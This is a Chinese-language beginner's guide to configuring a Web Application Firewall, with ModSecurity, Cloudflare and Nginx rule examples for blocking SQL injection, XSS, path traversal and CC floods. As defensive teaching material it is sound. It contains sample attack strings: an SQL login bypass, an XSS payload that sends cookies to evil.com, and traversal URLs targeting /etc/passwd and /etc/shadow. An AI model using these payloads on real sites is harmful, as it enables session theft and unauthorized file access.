WAF Web 应用防火墙配置入门:规则设置与常见攻击拦截

WAF(Web Application Firewall,Web 应用防火墙)是网站安全体系中的重要防线。与传统网络防火墙不同,WAF 专门针对 HTTP/HTTPS 协议进行分析,能够识别和拦截 SQL 注入、XSS 跨站脚本、文件包含等应用层攻击。

一、WAF 的工作原理

WAF 部署在用户和源服务器之间,分析所有 HTTP/HTTPS 请求:

用户请求 → WAF(规则检查)→ 合法请求 → 源服务器
                ↓
           拦截恶意请求

WAF 的检测方式:

检测方式 说明 优点 缺点
基于规则 匹配已知攻击模式 准确率高 无法防御未知攻击
基于异常 检测偏离基线的行为 可发现新型攻击 误报率高
基于行为 分析请求的逻辑行为 综合性强 配置复杂

二、主流 WAF 方案

2.1 云 WAF(推荐)

服务商 起步价 特点
Cloudflare WAF $20/月(Pro) 易用、全球节点
阿里云 WAF ¥100/月起 国内防护最强
腾讯云 WAF ¥200/月起 与腾讯生态整合
AWS WAF $5/月+规则费 与 CloudFront 整合

2.2 自建 WAF

  • ModSecurity:开源 WAF,可配合 Nginx/Apache
  • Naxsi:Nginx 的第三方 WAF 模块
  • OpenResty + Lua:灵活的自定义 WAF

三、常见攻击与防御规则

3.1 SQL 注入防护

SQL 注入是最常见的 Web 攻击之一。攻击者在输入框中提交恶意 SQL 语句。

-- 攻击示例:登录绕过
' OR '1'='1' --

WAF 规则配置

# ModSecurity 规则:检测 SQL 注入
SecRule ARGS "@detectSQLi" "id:1001,phase:2,deny,status:403,msg:'SQL Injection detected'"

Cloudflare WAF 规则

字段:URI
运算符:包含
值:select|union|insert|delete|drop|update
动作:拦截(Block)

3.2 XSS 跨站脚本防护

XSS 攻击者在网页中注入恶意脚本:

<script>document.location='https://evil.com/?cookie='+document.cookie</script>

WAF 规则配置

# ModSecurity 规则:检测 XSS
SecRule ARGS "@detectXSS" "id:1002,phase:2,deny,status:403,msg:'XSS detected'"

应用程序层面防御

// 输出转义
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// CSP 头部限制脚本来源
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com");

3.3 路径遍历防护

攻击者尝试访问未授权的文件路径:

// 攻击示例
https://example.com/../../etc/passwd
https://example.com/../../../etc/shadow

WAF 规则

字段:URI
运算符:包含
值:../ 或 %2e%2e%2f
动作:拦截

3.4 CC 攻击防护

CC 攻击(Challenge Collapsar)模拟正常用户的高频访问:

# Nginx 速率限制
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=30r/m;

location /login {
    limit_req zone=mylimit burst=5 nodelay;
}

Cloudflare Rate Limiting

特性:IP
每个周期请求数:100
周期:60 秒
动作:Challenge(验证码)

四、WAF 规则配置最佳实践

4.1 规则优先级

1. IP 白名单(最高优先级)→ 特定来源放行
2. IP 黑名单 → 已知恶意来源拦截
3. 地理限制 → 按区域控制访问
4. 速率限制 → 控制请求频率
5. 攻击检测规则 → SQL/XSS/注入等
6. 自定义规则 → 业务特定规则

4.2 规则示例

# Cloudflare WAF 规则示例
规则 1 - IP 白名单:
  描述:放行管理员 IP
  匹配:IP 来源 在 {192.168.1.0/24, 10.0.0.0/8}
  动作:Skip(跳过后续规则)

规则 2 - 屏蔽已知恶意 IP:
  描述:屏蔽威胁情报 IP
  匹配:IP 来源 在威胁情报库
  动作:Block

规则 3 - 地理限制:
  描述:只允许中国大陆访问
  匹配:国家 不是 CN
  动作:Block

规则 4 - 速率限制:
  描述:登录页面限速
  匹配:URI 包含 /wp-login.php
  动作:Rate Limit(10次/分钟)

规则 5 - SQL 注入防护:
  描述:拦截 SQL 注入
  匹配:URI 或 Body 包含 select.*from 或 union.*select
  动作:Block

4.3 误报处理

WAF 规则太严格可能误伤正常用户:

处理流程:
1. 发现误报 → 用户反馈正常请求被拦截
2. 查看日志 → 确认触发了哪条规则
3. 创建例外 → 对特定 URL 或参数放行
4. 优化规则 → 调整规则使其更精准

示例:搜索功能可能包含 SQL 关键词
例外规则:如果 URI 以 /search 开头 → 跳过 SQL 注入检测规则

五、WAF 日志分析

# Cloudflare 日志示例
{
  "timestamp": "2026-07-18T10:00:00Z",
  "ip": "203.0.113.1",
  "uri": "/wp-admin/login.php",
  "rule": "1001",
  "action": "block",
  "reason": "SQL Injection",
  "country": "US"
}

# 分析被拦截的请求
grep "action.*block" waf.log | awk '{print $5}' | sort | uniq -c | sort -rn

六、WAF 架构选择

方案一:CDN + WAF(推荐)

用户 → CDN(Cloudflare)→ WAF → 源服务器
优点:防御 DDoS + 应用层攻击,隐藏源站 IP

方案二:独立 WAF

用户 → WAF 设备(硬件/软件)→ 源服务器
优点:完全控制,适合合规要求严格的场景

方案三:Web 服务器插件

用户 → Nginx + ModSecurity → 应用
优点:免费,无需额外硬件
缺点:影响服务器性能

七、WAF 配置检查清单

  • 启用了 SQL 注入检测规则
  • 启用了 XSS 检测规则
  • 配置了速率限制
  • 设置了 IP 白名单(管理后台)
  • 配置了地理限制(如需要)
  • 开启了日志记录
  • 设置了告警通知
  • 定期审查规则误报

八、总结

WAF 是网站安全的重要组成部分,但并非万能。最佳安全策略是 WAF + 代码安全 + 服务器安全的多层防御。对于个人网站和小型企业,使用 Cloudflare 等 CDN 提供的 WAF 功能是最简单有效的方案;对于大型企业,建议使用独立 WAF 进行更精细的控制。记住:WAF 规则需要持续维护和优化,部署后不是一劳永逸的。